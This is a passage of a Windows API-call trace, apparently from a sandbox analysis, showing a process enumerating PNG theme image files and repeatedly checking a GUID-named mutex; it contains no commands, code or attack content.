hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43aec460, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43aec460, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.960] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.960] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.960] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.960] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.960] GlobalUnlock (hMem=0x440004) returned 0 [0057.960] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.960] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.960] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.960] GlobalUnlock (hMem=0x440004) returned 0 [0057.960] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.960] GlobalUnlock (hMem=0x44000c) returned 0 [0057.960] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.960] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.960] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.960] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.960] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.960] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.961] GlobalUnlock (hMem=0x44000c) returned 0 [0057.961] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.961] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.961] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.961] GlobalUnlock (hMem=0x44000c) returned 0 [0057.961] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.961] GlobalUnlock (hMem=0x440004) returned 0 [0057.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.961] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0057.961] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.961] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.961] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.961] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.961] GlobalUnlock (hMem=0x440004) returned 0 [0057.961] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.961] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.961] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.961] GlobalUnlock (hMem=0x440004) returned 0 [0057.961] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.961] GlobalUnlock (hMem=0x44000c) returned 0 [0057.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.961] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0057.961] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.961] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.961] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.961] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.961] GlobalUnlock (hMem=0x44000c) returned 0 [0057.961] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.962] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.962] GlobalUnlock (hMem=0x44000c) returned 0 [0057.962] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.962] GlobalUnlock (hMem=0x440004) returned 0 [0057.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.962] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0057.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.962] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.962] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.962] GlobalUnlock (hMem=0x440004) returned 0 [0057.962] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.962] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.962] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.962] GlobalUnlock (hMem=0x440004) returned 0 [0057.962] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.962] GlobalUnlock (hMem=0x44000c) returned 0 [0057.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.962] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0057.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.962] GlobalUnlock (hMem=0x44000c) returned 0 [0057.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.962] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.962] GlobalUnlock (hMem=0x44000c) returned 0 [0057.963] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.963] GlobalUnlock (hMem=0x440004) returned 0 [0057.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.963] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0057.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.963] GlobalUnlock (hMem=0x440004) returned 0 [0057.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.963] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.963] GlobalUnlock (hMem=0x440004) returned 0 [0057.963] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.963] GlobalUnlock (hMem=0x44000c) returned 0 [0057.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.963] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0057.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.963] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.963] GlobalUnlock (hMem=0x44000c) returned 0 [0057.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.963] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.963] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.963] GlobalUnlock (hMem=0x44000c) returned 0 [0057.963] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.963] GlobalUnlock (hMem=0x440004) returned 0 [0057.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.964] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0057.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.964] GlobalUnlock (hMem=0x440004) returned 0 [0057.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.964] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.964] GlobalUnlock (hMem=0x440004) returned 0 [0057.964] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.964] GlobalUnlock (hMem=0x44000c) returned 0 [0057.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.964] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0057.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.964] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.964] GlobalUnlock (hMem=0x44000c) returned 0 [0057.964] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.964] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.964] GlobalUnlock (hMem=0x44000c) returned 0 [0057.964] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.964] GlobalUnlock (hMem=0x440004) returned 0 [0057.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.964] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0057.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.965] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.965] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.965] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.965] GlobalUnlock (hMem=0x440004) returned 0 [0057.965] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.965] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.965] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.965] GlobalUnlock (hMem=0x440004) returned 0 [0057.965] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.965] GlobalUnlock (hMem=0x44000c) returned 0 [0057.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.965] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0057.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.965] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.965] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.965] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.965] GlobalUnlock (hMem=0x44000c) returned 0 [0057.965] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.965] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.965] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.965] GlobalUnlock (hMem=0x44000c) returned 0 [0057.965] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.965] GlobalUnlock (hMem=0x440004) returned 0 [0057.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.965] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0057.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.965] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.966] GlobalUnlock (hMem=0x440004) returned 0 [0057.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.966] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.966] GlobalUnlock (hMem=0x440004) returned 0 [0057.966] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.966] GlobalUnlock (hMem=0x44000c) returned 0 [0057.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.966] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0057.966] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.966] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.966] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.966] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.966] GlobalUnlock (hMem=0x44000c) returned 0 [0057.966] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.966] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.966] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.966] GlobalUnlock (hMem=0x44000c) returned 0 [0057.966] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.966] GlobalUnlock (hMem=0x440004) returned 0 [0057.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.966] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0057.966] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.966] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.966] GlobalUnlock (hMem=0x440004) returned 0 [0057.967] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.967] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.967] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.967] GlobalUnlock (hMem=0x440004) returned 0 [0057.967] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.967] GlobalUnlock (hMem=0x44000c) returned 0 [0057.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.967] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0057.967] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.967] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.967] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.967] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.967] GlobalUnlock (hMem=0x44000c) returned 0 [0057.967] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.967] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.967] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.967] GlobalUnlock (hMem=0x44000c) returned 0 [0057.967] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.967] GlobalUnlock (hMem=0x440004) returned 0 [0057.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.967] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0057.967] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.967] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.967] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.967] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.967] GlobalUnlock (hMem=0x440004) returned 0 [0057.967] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.967] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.968] GlobalUnlock (hMem=0x440004) returned 0 [0057.968] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.968] GlobalUnlock (hMem=0x44000c) returned 0 [0057.968] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.968] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0057.968] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 